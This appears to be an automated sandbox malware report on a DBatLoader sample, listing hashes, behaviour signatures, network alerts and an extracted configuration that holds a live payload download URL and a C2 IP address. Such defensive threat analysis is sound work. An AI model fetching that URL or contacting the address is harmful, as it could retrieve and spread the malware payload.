Edit tour

Windows Analysis Report
UTstKgkJNY.exe

Overview

General Information

Sample name:	UTstKgkJNY.exe renamed because original name is a hash value
Original sample name:	7e6af615a074f41ea63ef69a047e8f6d.exe
Analysis ID:	1590521
MD5:	7e6af615a074f41ea63ef69a047e8f6d
SHA1:	a466ec15884ee1ab19dd0bed7327ffcf1db4a6f2
SHA256:	939c125accb6e2f939bc239c45d3ead938a0c0bcd63d77fbde11ed96ed1a1c76
Tags:	exeuser-abuse_ch
Infos:

Detection

DBatLoader

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

UTstKgkJNY.exe (PID: 7736 cmdline: "C:\Users\user\Desktop\UTstKgkJNY.exe" MD5: 7E6AF615A074F41EA63EF69A047E8F6D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://amazonenviro.com/245_Tzzlqsjvkee"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2528020795.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000001.00000002.2512810785.00000000021E6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
1.2.UTstKgkJNY.exe.21e65a8.1.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
1.2.UTstKgkJNY.exe.2860000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
1.2.UTstKgkJNY.exe.21e65a8.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:25:03.113199+0100	2028371	3	Unknown Traffic	192.168.2.10	49706	166.62.27.188	443	TCP
2025-01-14T08:25:04.606069+0100	2028371	3	Unknown Traffic	192.168.2.10	49708	166.62.27.188	443	TCP
2025-01-14T08:25:06.322079+0100	2028371	3	Unknown Traffic	192.168.2.10	49710	166.62.27.188	443	TCP
2025-01-14T08:25:07.972097+0100	2028371	3	Unknown Traffic	192.168.2.10	49718	166.62.27.188	443	TCP
2025-01-14T08:25:09.616455+0100	2028371	3	Unknown Traffic	192.168.2.10	49728	166.62.27.188	443	TCP
2025-01-14T08:25:11.252572+0100	2028371	3	Unknown Traffic	192.168.2.10	49738	166.62.27.188	443	TCP
2025-01-14T08:25:13.028589+0100	2028371	3	Unknown Traffic	192.168.2.10	49750	166.62.27.188	443	TCP
2025-01-14T08:25:14.685126+0100	2028371	3	Unknown Traffic	192.168.2.10	49762	166.62.27.188	443	TCP
2025-01-14T08:25:16.337260+0100	2028371	3	Unknown Traffic	192.168.2.10	49773	166.62.27.188	443	TCP
2025-01-14T08:25:17.972623+0100	2028371	3	Unknown Traffic	192.168.2.10	49786	166.62.27.188	443	TCP
2025-01-14T08:25:19.592300+0100	2028371	3	Unknown Traffic	192.168.2.10	49799	166.62.27.188	443	TCP
2025-01-14T08:25:21.221630+0100	2028371	3	Unknown Traffic	192.168.2.10	49809	166.62.27.188	443	TCP
2025-01-14T08:25:22.840018+0100	2028371	3	Unknown Traffic	192.168.2.10	49822	166.62.27.188	443	TCP
2025-01-14T08:25:24.591649+0100	2028371	3	Unknown Traffic	192.168.2.10	49835	166.62.27.188	443	TCP
2025-01-14T08:25:26.232730+0100	2028371	3	Unknown Traffic	192.168.2.10	49847	166.62.27.188	443	TCP
2025-01-14T08:25:27.874388+0100	2028371	3	Unknown Traffic	192.168.2.10	49860	166.62.27.188	443	TCP
2025-01-14T08:25:29.493433+0100	2028371	3	Unknown Traffic	192.168.2.10	49871	166.62.27.188	443	TCP
2025-01-14T08:25:31.110157+0100	2028371	3	Unknown Traffic	192.168.2.10	49884	166.62.27.188	443	TCP
2025-01-14T08:25:32.713974+0100	2028371	3	Unknown Traffic	192.168.2.10	49895	166.62.27.188	443	TCP
2025-01-14T08:25:34.389067+0100	2028371	3	Unknown Traffic	192.168.2.10	49906	166.62.27.188	443	TCP
2025-01-14T08:25:36.002641+0100	2028371	3	Unknown Traffic	192.168.2.10	49919	166.62.27.188	443	TCP
2025-01-14T08:25:37.619233+0100	2028371	3	Unknown Traffic	192.168.2.10	49932	166.62.27.188	443	TCP
2025-01-14T08:25:39.366946+0100	2028371	3	Unknown Traffic	192.168.2.10	49944	166.62.27.188	443	TCP
2025-01-14T08:25:40.989375+0100	2028371	3	Unknown Traffic	192.168.2.10	49958	166.62.27.188	443	TCP
2025-01-14T08:25:42.609774+0100	2028371	3	Unknown Traffic	192.168.2.10	49967	166.62.27.188	443	TCP
2025-01-14T08:25:44.255309+0100	2028371	3	Unknown Traffic	192.168.2.10	49980	166.62.27.188	443	TCP
2025-01-14T08:25:45.878917+0100	2028371	3	Unknown Traffic	192.168.2.10	49991	166.62.27.188	443	TCP
2025-01-14T08:25:47.475932+0100	2028371	3	Unknown Traffic	192.168.2.10	50004	166.62.27.188	443	TCP
2025-01-14T08:25:49.094571+0100	2028371	3	Unknown Traffic	192.168.2.10	50018	166.62.27.188	443	TCP
2025-01-14T08:25:50.705630+0100	2028371	3	Unknown Traffic	192.168.2.10	50028	166.62.27.188	443	TCP
2025-01-14T08:25:52.339628+0100	2028371	3	Unknown Traffic	192.168.2.10	50034	166.62.27.188	443	TCP
2025-01-14T08:25:53.961969+0100	2028371	3	Unknown Traffic	192.168.2.10	50036	166.62.27.188	443	TCP
2025-01-14T08:25:55.588546+0100	2028371	3	Unknown Traffic	192.168.2.10	50039	166.62.27.188	443	TCP
2025-01-14T08:25:57.219285+0100	2028371	3	Unknown Traffic	192.168.2.10	50041	166.62.27.188	443	TCP
2025-01-14T08:25:58.821989+0100	2028371	3	Unknown Traffic	192.168.2.10	50043	166.62.27.188	443	TCP
2025-01-14T08:26:00.617487+0100	2028371	3	Unknown Traffic	192.168.2.10	50045	166.62.27.188	443	TCP
2025-01-14T08:26:02.227696+0100	2028371	3	Unknown Traffic	192.168.2.10	50047	166.62.27.188	443	TCP
2025-01-14T08:26:03.842523+0100	2028371	3	Unknown Traffic	192.168.2.10	50049	166.62.27.188	443	TCP
2025-01-14T08:26:05.430865+0100	2028371	3	Unknown Traffic	192.168.2.10	50051	166.62.27.188	443	TCP
2025-01-14T08:26:07.041444+0100	2028371	3	Unknown Traffic	192.168.2.10	50053	166.62.27.188	443	TCP
2025-01-14T08:26:08.626685+0100	2028371	3	Unknown Traffic	192.168.2.10	50055	166.62.27.188	443	TCP
2025-01-14T08:26:10.271193+0100	2028371	3	Unknown Traffic	192.168.2.10	50057	166.62.27.188	443	TCP
2025-01-14T08:26:11.881431+0100	2028371	3	Unknown Traffic	192.168.2.10	50059	166.62.27.188	443	TCP
2025-01-14T08:26:13.495370+0100	2028371	3	Unknown Traffic	192.168.2.10	50061	166.62.27.188	443	TCP
2025-01-14T08:26:15.086717+0100	2028371	3	Unknown Traffic	192.168.2.10	50063	166.62.27.188	443	TCP
2025-01-14T08:26:16.712396+0100	2028371	3	Unknown Traffic	192.168.2.10	50065	166.62.27.188	443	TCP
2025-01-14T08:26:18.338151+0100	2028371	3	Unknown Traffic	192.168.2.10	50067	166.62.27.188	443	TCP
2025-01-14T08:26:19.945572+0100	2028371	3	Unknown Traffic	192.168.2.10	50069	166.62.27.188	443	TCP
2025-01-14T08:26:21.549741+0100	2028371	3	Unknown Traffic	192.168.2.10	50071	166.62.27.188	443	TCP
2025-01-14T08:26:23.156474+0100	2028371	3	Unknown Traffic	192.168.2.10	50073	166.62.27.188	443	TCP
2025-01-14T08:26:24.799910+0100	2028371	3	Unknown Traffic	192.168.2.10	50075	166.62.27.188	443	TCP
2025-01-14T08:26:26.408648+0100	2028371	3	Unknown Traffic	192.168.2.10	50077	166.62.27.188	443	TCP
2025-01-14T08:26:28.002623+0100	2028371	3	Unknown Traffic	192.168.2.10	50079	166.62.27.188	443	TCP
2025-01-14T08:26:29.636140+0100	2028371	3	Unknown Traffic	192.168.2.10	50081	166.62.27.188	443	TCP
2025-01-14T08:26:31.254306+0100	2028371	3	Unknown Traffic	192.168.2.10	50083	166.62.27.188	443	TCP
2025-01-14T08:26:32.854019+0100	2028371	3	Unknown Traffic	192.168.2.10	50085	166.62.27.188	443	TCP
2025-01-14T08:26:34.447966+0100	2028371	3	Unknown Traffic	192.168.2.10	50087	166.62.27.188	443	TCP
2025-01-14T08:26:36.050441+0100	2028371	3	Unknown Traffic	192.168.2.10	50089	166.62.27.188	443	TCP
2025-01-14T08:26:37.643543+0100	2028371	3	Unknown Traffic	192.168.2.10	50091	166.62.27.188	443	TCP
2025-01-14T08:26:39.237291+0100	2028371	3	Unknown Traffic	192.168.2.10	50093	166.62.27.188	443	TCP
2025-01-14T08:26:40.864699+0100	2028371	3	Unknown Traffic	192.168.2.10	50095	166.62.27.188	443	TCP
2025-01-14T08:26:42.459649+0100	2028371	3	Unknown Traffic	192.168.2.10	50097	166.62.27.188	443	TCP
2025-01-14T08:26:44.067064+0100	2028371	3	Unknown Traffic	192.168.2.10	50099	166.62.27.188	443	TCP
2025-01-14T08:26:45.681662+0100	2028371	3	Unknown Traffic	192.168.2.10	50101	166.62.27.188	443	TCP
2025-01-14T08:26:47.273324+0100	2028371	3	Unknown Traffic	192.168.2.10	50103	166.62.27.188	443	TCP
2025-01-14T08:26:48.876203+0100	2028371	3	Unknown Traffic	192.168.2.10	50105	166.62.27.188	443	TCP
2025-01-14T08:26:50.475361+0100	2028371	3	Unknown Traffic	192.168.2.10	50107	166.62.27.188	443	TCP
2025-01-14T08:26:52.082709+0100	2028371	3	Unknown Traffic	192.168.2.10	50109	166.62.27.188	443	TCP
2025-01-14T08:26:54.095013+0100	2028371	3	Unknown Traffic	192.168.2.10	50111	166.62.27.188	443	TCP
2025-01-14T08:26:55.710527+0100	2028371	3	Unknown Traffic	192.168.2.10	50113	166.62.27.188	443	TCP
2025-01-14T08:26:57.333061+0100	2028371	3	Unknown Traffic	192.168.2.10	50115	166.62.27.188	443	TCP
2025-01-14T08:26:58.943766+0100	2028371	3	Unknown Traffic	192.168.2.10	50117	166.62.27.188	443	TCP
2025-01-14T08:27:00.582790+0100	2028371	3	Unknown Traffic	192.168.2.10	50119	166.62.27.188	443	TCP
2025-01-14T08:27:02.247995+0100	2028371	3	Unknown Traffic	192.168.2.10	50121	166.62.27.188	443	TCP
2025-01-14T08:27:03.876625+0100	2028371	3	Unknown Traffic	192.168.2.10	50123	166.62.27.188	443	TCP
2025-01-14T08:27:05.468383+0100	2028371	3	Unknown Traffic	192.168.2.10	50125	166.62.27.188	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: UTstKgkJNY.exe

Malware Configuration Extractor: DBatLoader {"Download Url": ["https://amazonenviro.com/245_Tzzlqsjvkee"]}

Multi AV Scanner detection for submitted file

Source: UTstKgkJNY.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: UTstKgkJNY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.10:50125 version: TLS 1.2

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_028658B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

1_2_028658B4

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://amazonenviro.com/245_Tzzlqsjvkee

Source: C:\Users\user\Desktop\UTstKgkJNY.exe

Code function: 1_2_0287E72C InternetCheckConnectionA,

1_2_0287E72C

Source: Joe Sandbox View

IP Address: 166.62.27.188 166.62.27.188

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49706 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49708 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49710 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49718 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49728 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49750 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49738 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49762 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49773 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49799 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49809 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49786 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49822 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49835 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49847 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49860 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49871 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49884 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49895 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49919 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49906 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49932 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49967 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49991 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50004 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50018 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49958 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49944 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50028 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50034 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50036 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50039 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50051 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49980 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50055 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50057 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50049 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50061 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50043 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50047 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50071 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50059 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50087 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50091 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50095 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50053 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50075 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:50105 -> 166.62.27.188:443
